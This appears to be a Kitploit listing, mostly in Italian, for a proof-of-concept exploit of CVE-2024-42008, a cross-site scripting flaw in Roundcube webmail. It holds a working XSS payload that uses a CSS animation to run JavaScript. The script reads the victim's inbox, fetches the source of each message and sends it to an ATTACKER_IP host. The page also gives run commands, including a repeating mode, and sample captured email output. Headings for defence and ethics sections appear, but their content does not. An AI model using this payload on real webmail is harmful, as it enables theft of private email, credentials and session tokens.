Roundcube-CVE-2024-42008-POC — Exploit proof-of-concept per CVE-2024-42008, una vulnerabilità Cross-Site Scripting nella webmail RoundCube. Consegna payload XSS tramite moduli di contatto per rubare email, credenziali e token di sessione in ambienti di test di penetrazione autorizzati. | Kitploit

// The core XSS payload uses CSS animations to trigger JavaScript
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=
  // 1. Fetch email list from victim's INBOX
  fetch('/?_task=mail&_action=list&_mbox=INBOX&_page=&_remote=1')
  .then(r=>r.text())
  .then(t=>{
    // 2. Extract email UIDs using regex
    [...t.matchAll(/this\\.add_message_row\\((\\d+),/g)].forEach(m=>{
      // 3. For each email, fetch full source
      fetch(`/?_task=mail&_uid=${m[1]}&_mbox=INBOX&_action=viewsource`)
      .then(r=>r.text())
      .then(data=>{
        // 4. Exfiltrate email data to attacker server
        fetch(`http://ATTACKER_IP:PORT/?data=${encodeURIComponent(data)}`)
      })
    })
  })
; foo=bar">

# Single payload delivery
python cve-2024-42008-exploit.py

# Continuous mode (every 30 seconds)
python cve-2024-42008-exploit.py -c

# Custom interval (every 60 seconds)
python cve-2024-42008-exploit.py -c -i 60

# Debug mode with proxy
python cve-2024-42008-exploit.py -d

[+] Listening on 10.10.14.209:8001 for exfiltrated data...
[2024-07-09 10:30:15] POST Request Sent! Status Code: 200

[+] 📩 Captured Email Data:
Return-Path: <[email protected]>
Received: from localhost (localhost [127.0.0.1])
...
[Email content]
--------------------------------------------------
[+] 🔥 Email data saved to emails.log

Opzione	Descrizione
`-d, --debug`	Abilita la modalità di debug con supporto proxy
`-c, --continuous`	Invia i payload in modo continuo
`-i, --interval`	Intervallo tra i payload (default: 30s)

Roundcube-CVE-2024-42008-POC

Più Popolari

Impatto

Analisi dello script exploit

Architettura dello script

Analisi del payload

Caratteristiche principali

Utilizzo

Prerequisiti

Utilizzo di base

Configurazione

Opzioni della riga di comando

Flusso dell'attacco

Rilevamento e mitigazione

Per i difensori

Per i penetration tester

Considerazioni legali ed etiche

Riferimenti tecnici

Esempio di output

Esclusione di responsabilità